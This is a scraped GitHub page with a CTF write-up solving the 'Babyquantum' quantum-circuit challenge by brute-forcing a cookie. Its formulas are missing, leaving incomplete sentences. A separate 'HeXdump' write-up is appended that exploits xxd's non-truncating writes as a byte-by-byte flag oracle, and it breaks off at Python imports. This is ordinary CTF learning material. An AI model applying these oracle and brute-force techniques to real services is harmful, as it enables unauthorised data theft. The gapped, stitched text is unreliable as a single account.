<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0013 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 000-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
Sign in Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full js-flash-template-container"> <div class="container-lg px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="js-flash-template-message"></div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main >
<div class="pagehead repohead hx_repohead readability-menu bg-gray-light pb-0 pt-0 pt-lg-3">
<div class="d-flex container-lg mb-4 p-responsive d-none d-lg-flex">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class="public d-flex flex-wrap flex-items-center break-word float-none "> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"></path></svg> <span> MjSandberg </span> <span>/</span> CTF-writeups </h1>
</div>
<svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"></path></svg> Watch 1
<svg height="16" class="octicon octicon-star v-align-text-bottom" vertical_align="text_bottom" viewBox="0 0 14 16" version="1.1" width="14" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"></path></svg>
Star 1
<svg class="octicon octicon-repo-forked v-align-text-bottom" viewBox="0 0 10 16" version="1.1" width="10" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 1a1.993 1.993 0 00-1 3.72V6L5 8 3 6V4.72A1.993 1.993 0 002 1a1.993 1.993 0 00-1 3.72V6.5l3 3v1.78A1.993 1.993 0 005 15a1.993 1.993 0 001-3.72V9.5l3-3V4.72A1.993 1.993 0 008 1zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3 10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zm3-10c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg> Fork 0
</div> <nav class="hx_reponav reponav js-repo-nav js-sidenav-container-pjax clearfix container-lg p-responsive d-none d-lg-block" itemscope itemtype="http://schema.org/BreadcrumbList" aria-label="Repository" data-pjax="#js-repo-pjax-container">
<span> <div class="d-inline"><svg class="octicon octicon-code" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M9.5 3L8 4.5 11.5 8 8 11.5 9.5 13 14 8 9.5 3zm-5 0L0 8l4.5 5L6 11.5 2.5 8 6 4.5 4.5 3z"></path></svg></div> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-issue-opened" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7 2.3c3.14 0 5.7 2.56 5.7 5.7s-2.56 5.7-5.7 5.7A5.71 5.71 0 011.3 8c0-3.14 2.56-5.7 5.7-5.7zM7 1C3.14 1 0 4.14 0 8s3.14 7 7 7 7-3.14 7-7-3.14-7-7-7zm1 3H6v5h2V4zm0 6H6v2h2v-2z"></path></svg></div> <span>Issues</span> <span>0</span> <meta itemprop="position" content="2"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-git-pull-request" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 11.28V5c-.03-.78-.34-1.47-.94-2.06C9.46 2.35 8.78 2.03 8 2H7V0L4 3l3 3V4h1c.27.02.48.11.69.31.21.2.3.42.31.69v6.28A1.993 1.993 0 0010 15a1.993 1.993 0 001-3.72zm-1 2.92c-.66 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2zM4 3c0-1.11-.89-2-2-2a1.993 1.993 0 00-1 3.72v6.56A1.993 1.993 0 002 15a1.993 1.993 0 001-3.72V4.72c.59-.34 1-.98 1-1.72zm-.8 10c0 .66-.55 1.2-1.2 1.2-.65 0-1.2-.55-1.2-1.2 0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2zM2 4.2C1.34 4.2.8 3.65.8 3c0-.65.55-1.2 1.2-1.2.65 0 1.2.55 1.2 1.2 0 .65-.55 1.2-1.2 1.2z"></path></svg></div> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <div class="d-inline"><svg class="octicon octicon-play" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 8A7 7 0 110 8a7 7 0 0114 0zm-8.223 3.482l4.599-3.066a.5.5 0 000-.832L5.777 4.518A.5.5 0 005 4.934v6.132a.5.5 0 00.777.416z"></path></svg></div> Actions </span>
<div class="d-inline"><svg class="octicon octicon-project" viewBox="0 0 15 16" version="1.1" width="15" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 00-1 1v14a1 1 0 001 1h13a1 1 0 001-1V1a1 1 0 00-1-1z"></path></svg></div> Projects <span>0</span>
<div class="d-inline"><svg class="octicon octicon-shield" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 2l7-2 7 2v6.02C14 12.69 8.69 16 7 16c-1.69 0-7-3.31-7-7.98V2zm1 .75L7 1l6 1.75v5.268C13 12.104 8.449 15 7 15c-1.449 0-6-2.896-6-6.982V2.75zm1 .75L7 2v12c-1.207 0-5-2.482-5-5.985V3.5z"></path></svg></div> Security <div class="d-inline"><svg class="octicon octicon-graph" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M16 14v1H0V0h1v14h15zM5 13H3V8h2v5zm4 0H7V3h2v10zm4 0h-2V6h2v7z"></path></svg></div> Insights
</nav>
<div class="reponav-wrapper reponav-small d-lg-none"> <nav class="reponav js-reponav text-center no-wrap" itemscope itemtype="http://schema.org/BreadcrumbList">
<span> <span>Code</span> <meta itemprop="position" content="1"> </span>
<span> <span>Issues</span> <span>0</span> <meta itemprop="position" content="2"> </span>
<span> <span>Pull requests</span> <span>0</span> <meta itemprop="position" content="4"> </span>
<span> <span>Projects</span> <span>0</span> <meta itemprop="position" content="5"> </span>
<span> <span>Actions</span> <meta itemprop="position" content="6"> </span>
<span>Security</span> <meta itemprop="position" content="8"> Pulse
</nav></div>
</div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="container-lg clearfix new-discussion-timeline p-responsive"> <div class="repository-content ">
Permalink
<div class="signup-prompt-bg rounded-1 js-signup-prompt" data-prompt="signup" hidden> <div class="signup-prompt p-4 text-center mb-4 rounded-1"> <div class="position-relative"> <button type="button" class="position-absolute top-0 right-0 btn-link link-gray js-signup-prompt-button" data-ga-click="(Logged out) Sign up prompt, clicked Dismiss, text:dismiss"> Dismiss </button> <h3 class="pt-2">Join GitHub today</h3> GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up </div> </div> </div>
GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together.
<div class="d-flex flex-items-start flex-shrink-0 flex-column flex-md-row pb-3"> <span> <details class="details-reset details-overlay branch-select-menu " id="branch-select-menu"> <summary class="btn css-truncate btn-sm" data-hotkey="w" title="Switch branches or tags"> Branch: <span>solved</span> <span></span> </summary>
<details-menu class="SelectMenu SelectMenu--hasFilter" src="/MjSandberg/CTF-writeups/refs/solved/2019/ALLESCTF/Babyquantum/README.md?source_action=show&source_controller=blob" preload> <div class="SelectMenu-modal"> <include-fragment class="SelectMenu-loading" aria-label="Menu is loading"> <svg class="octicon octicon-octoface anim-pulse" height="32" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M14.7 5.34c.13-.32.55-1.59-.13-3.31 0 0-1.05-.33-3.44 1.3-1-.28-2.07-.32-3.13-.32s-2.13.04-3.13.32c-2.39-1.64-3.44-1.3-3.44-1.3-.68 1.72-.26 2.99-.13 3.31C.49 6.21 0 7.33 0 8.69 0 13.84 3.33 15 7.98 15S16 13.84 16 8.69c0-1.36-.49-2.48-1.3-3.35zM8 14.02c-3.3 0-5.98-.15-5.98-3.35 0-.76.38-1.48 1.02-2.07 1.07-.98 2.9-.46 4.96-.46 2.07 0 3.88-.52 4.96.46.65.59 1.02 1.3 1.02 2.07 0 3.19-2.68 3.35-5.98 3.35zM5.49 9.01c-.66 0-1.2.8-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.54-1.78-1.2-1.78zm5.02 0c-.66 0-1.2.79-1.2 1.78s.54 1.79 1.2 1.79c.66 0 1.2-.8 1.2-1.79s-.53-1.78-1.2-1.78z"></path></svg> </include-fragment> </div> </details-menu></details>
<div class="BtnGroup flex-shrink-0 d-md-none"> Find file <clipboard-copy value="2019/ALLESCTF/Babyquantum/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </span> <h2 id="blob-path" class="breadcrumb flex-auto min-width-0 text-normal flex-md-self-center ml-md-2 mr-md-3 my-2 my-md-0"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>2019</span></span><span>/</span><span><span>ALLESCTF</span></span><span>/</span><span><span>Babyquantum</span></span><span>/</span>README.md </h2>
<div class="BtnGroup flex-shrink-0 d-none d-md-inline-block"> Find file <clipboard-copy value="2019/ALLESCTF/Babyquantum/README.md" class="btn btn-sm BtnGroup-item"> Copy path </clipboard-copy> </div> </div>
<include-fragment src="/MjSandberg/CTF-writeups/contributors/solved/2019/ALLESCTF/Babyquantum/README.md" class="Box Box--condensed commit-loader"> <div class="Box-body bg-blue-light f6"> Fetching contributors… </div>
<div class="Box-body d-flex flex-items-center" > <span>Cannot retrieve contributors at this time</span> </div></include-fragment>
<div class="Box mt-3 position-relative "> <div class="Box-header py-2 d-flex flex-column flex-shrink-0 flex-md-row flex-md-items-center"> <div class="text-mono f6 flex-auto pr-3 flex-order-2 flex-md-order-1 mt-2 mt-md-0">
56 lines (40 sloc) <span></span> 4.51 KB </div>
<div class="d-flex py-1 py-md-0 flex-auto flex-order-1 flex-md-order-2 flex-sm-grow-0 flex-justify-between">
<div class="BtnGroup"> Raw Blame History </div>
<div> <svg class="octicon octicon-device-desktop" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M15 2H1c-.55 0-1 .45-1 1v9c0 .55.45 1 1 1h5.34c-.25.61-.86 1.39-2.34 2h8c-1.48-.61-2.09-1.39-2.34-2H15c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm0 9H1V3h14v8z"></path></svg>
<button type="button" class="btn-octicon disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-pencil" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M0 12v3h3l8-8-3-3-8 8zm3 2H1v-2h1v1h1v1zm10.3-9.3L12 6 9 3l1.3-1.3a.996.996 0 011.41 0l1.59 1.59c.39.39.39 1.02 0 1.41z"></path></svg> </button> <button type="button" class="btn-octicon btn-octicon-danger disabled tooltipped tooltipped-nw" aria-label="You must be signed in to make or propose changes"> <svg class="octicon octicon-trashcan" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M11 2H9c0-.55-.45-1-1-1H5c-.55 0-1 .45-1 1H2c-.55 0-1 .45-1 1v1c0 .55.45 1 1 1v9c0 .55.45 1 1 1h7c.55 0 1-.45 1-1V5c.55 0 1-.45 1-1V3c0-.55-.45-1-1-1zm-1 12H3V5h1v8h1V5h1v8h1V5h1v8h1V5h1v9zm1-10H2V3h9v1z"></path></svg> </button> </div> </div></div>
<div id="readme" class="Box-body readme blob js-code-block-container px-5"> <article class="markdown-body entry-content" itemprop="text">So to start of the challenge we take a look at the instructions page andsee the definitions for this random secret gate of theirs.Since I have worked we these kinds of gates before I see that the definitionsclosely resemble that of the gate used for a Deutsch algorithm.This is a algorithm that is used to minimize function calls to tellwhether a function is balanced or constant. The algorithm uses a auxiliaryqubit which is our second qubit in the state. Both qubits are then broughtinto superposition using two hadamards and the unitary gate is applied across the twoqubits. The first qubit is then brought back to a single state using another hadamard.In the case of Deutsch reading the first qubit then gives us the function calls which is completely equal to .Thus xor'ing these two possible function calls is given byWhere the first term will always be zero thusSo depending on the outcome of the first qubit we can find . If the outcome is0 then is also 0 and the same for the outcome of 1.Now the trouble was that we are only given a specific and we would really like all of .This part is probably obvious to most but it took me a while to figure out. I discovered afterusing Chrome's dev tools and looking around for a bit, that we get one cookie named "randomness"which is set to a specific numeric value. I figured that this is probably used to set the valuefor . So I wrote up a script in python (Babyquantum.py in rep) using selenium passed the circuit from Deutsch as- H U1 H DX H U2 H Dand went through the values 0-200 for the cookie, reading the output of the first qubit.this gave me a binary.10000010 00110010 00110010 10100010 11001010 1101111011001110 11000110 00010110 01001110 11110110 1010011000100110 10010110 01110110 11100110 10100110 0100111011001110 11111010 01000110 10000110 01000110 1001111010111110Which again I looked at for quite a while not able to make sense of it.I finally figured that since nothing else was given the flag probably hadALLES in the start, which almost fit with what I had, Mathing up the lettersI realized that the binary string was flipped. Thus after flipping and convertingto ascii I got a flipped string which I again flipped giving the flagALLES{schroedingers_baby}</article> </div>
So to start of the challenge we take a look at the instructions page andsee the definitions for this random secret gate of theirs.
Since I have worked we these kinds of gates before I see that the definitionsclosely resemble that of the gate used for a Deutsch algorithm.This is a algorithm that is used to minimize function calls to tellwhether a function is balanced or constant. The algorithm uses a auxiliaryqubit which is our second qubit in the state. Both qubits are then broughtinto superposition using two hadamards and the unitary gate is applied across the twoqubits. The first qubit is then brought back to a single state using another hadamard.In the case of Deutsch reading the first qubit then gives us the function calls which is completely equal to .
Thus xor'ing these two possible function calls is given by
Where the first term will always be zero thus
So depending on the outcome of the first qubit we can find . If the outcome is0 then is also 0 and the same for the outcome of 1.
Now the trouble was that we are only given a specific and we would really like all of .This part is probably obvious to most but it took me a while to figure out. I discovered afterusing Chrome's dev tools and looking around for a bit, that we get one cookie named "randomness"which is set to a specific numeric value. I figured that this is probably used to set the valuefor . So I wrote up a script in python (Babyquantum.py in rep) using selenium passed the circuit from Deutsch as
- H U1 H D
X H U2 H D
and went through the values 0-200 for the cookie, reading the output of the first qubit.this gave me a binary.
10000010 00110010 00110010 10100010 11001010 1101111011001110 11000110 00010110 01001110 11110110 1010011000100110 10010110 01110110 11100110 10100110 0100111011001110 11111010 01000110 10000110 01000110 1001111010111110
Which again I looked at for quite a while not able to make sense of it.I finally figured that since nothing else was given the flag probably hadALLES in the start, which almost fit with what I had, Mathing up the lettersI realized that the binary string was flipped. Thus after flipping and convertingto ascii I got a flipped string which I again flipped giving the flag
ALLES{schroedingers_baby}
</div>
<details class="details-reset details-overlay details-overlay-dark"> <summary data-hotkey="l" aria-label="Jump to line"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast linejump" aria-label="Jump to line"> </option></form><form class="js-jump-to-line-form Box-body d-flex" action="" accept-charset="UTF-8" method="get"> <input class="form-control flex-auto mr-3 linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn" data-close-dialog>Go</button></form> </details-dialog> </details>
<div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/MjSandberg/CTF-writeups/find-symbols" data-tagsearch-ref="solved" data-tagsearch-path="2019/ALLESCTF/Babyquantum/README.md" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":204287103,"ref":"solved","language":"Markdown","originating_url":"https://github.com/MjSandberg/CTF-writeups/blob/solved/2019/ALLESCTF/Babyquantum/README.md","user_id":null}}" data-hydro-click-hmac="7813a7608fe4819cac65909f812fa0e016215d534f59cffb8f62b9b1c78d51c7"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box box-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div>
</div></div>
</main> </div>
</div>
<div class="footer container-lg width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> © 2020 GitHub, Inc. Terms Privacy Security Status Help
<svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> You can’t perform that action at this time. </div>
<script crossorigin="anonymous" async="async" integrity="sha512-WcQmT2vhcClFVOaaAJV/M+HqsJ2Gq/myvl6F3gCVBxykazXTs+i5fvxncSXwyG1CSfcrqmLFw/R/bmFYzprX2A==" type="application/javascript" id="js-conditional-compat" data-src="https://github.githubassets.com/assets/compat-bootstrap-59c4264f.js"></script> <script crossorigin="anonymous" integrity="sha512-6XBdUZGib4aqdruJTnLMOLpIh0VJsGlgQ7M3vndWJIH6YQNv+zqpo1TbCDzjHJ+YYEm4xkEinaY0VsemDUfi9A==" type="application/javascript" src="https://github.githubassets.com/assets/environment-bootstrap-e9705d51.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-EDN3kiqMVKpDXq6euD9tcIPeh3xqtWzCcm8mqqLAZOkXwdMo0hSA8Bfg0NqZ8c2n51yU4SlSal3hqgdrus+M2A==" type="application/javascript" src="https://github.githubassets.com/assets/vendor-10337792.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-CcKFBqQZKOCZU5otP6R8GH2k+iJ3zC9r2z2Iakfs/Bo9/ptHy6JIWQN3FPhVuS3CR+Q/CkEOSfg+WJfoq3YMxQ==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-09c28506.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-7Evx/cY3o6cyoeTQc+OX5n6X4k+wTJkQnAyjtmpge6F3Hgw511TPF+N0BFvn3IZLaQro6kyC/f0dqhklyssNow==" type="application/javascript" src="https://github.githubassets.com/assets/github-bootstrap-ec4bf1fd.js"></script> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div></div>
<div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div>
</body></html>
|
# HeXdump (misc, 202p, 62 solved)
In the challenge we get source code of a [service](heXDump.rb) and access to this service.
The logic of the application is pretty simple:
- We can select `output mode` from MD5, SHA1 and AES hexdump.- We can write some data into the `input file`.- We can request to get back data from the `input file`, respecting the output. mode we selected.- There is a special option which will place the flag file as `input file`.
Working with our own data is not very interesting, so the first step is to run the `1337` command to start working with flag file.
Now we can get back MD5, SHA1 or AES encrypted data from this file, but it's not enough to recover the flag.It's also not a crypto but misc challenge.
The key function is:
```rubydef write puts 'Data? (In hex format)' data = gets return false unless data && !data.empty? && data.size < 0x1000
IO.popen("xxd -r -ps - #{@file}", 'r+') do |f| f.puts data f.close_write end return false unless $CHILD_STATUS.success?
trueend```
The data we write to `input file` are put there using `xxd -r -ps - #{@file}`.If we look into the documentation we can see:
```-r | -revert reverse operation: convert (or patch) hexdump into binary. If not writing to stdout, xxd writes into its output file without truncating it. Use the combination -r -p to read plain hexadecimal dumps without line number information and without a particular column layout. Additional Whitespace and line-breaks are allowed anywhere. ```
Key part is `If not writing to stdout, xxd writes into its output file without truncating it.`
This means that if we provide only 1 character as input, it will overwrite only 1st byte.We can use this feature to recover flag byte by byte:
1. Get back original flag output (of any kind, but we can use AES just to be sure there is no accidental collision).2. Loop over flag charset and overwrite 1st character with each possible value, and get back output.3. If output with overwritten character matches the original flag output, it means that we substituted character by itself, and thus we know 1 character of the flag.
Once we know the 1st character, we can do the same, now sending 2 bytes, the one we know plus again random value from charset.We proceed with that until we recover all flag bytes:
```pythonimport string
from crypto_commons.netcat.netcat_commons import nc, receive_until_match, send, receive_until
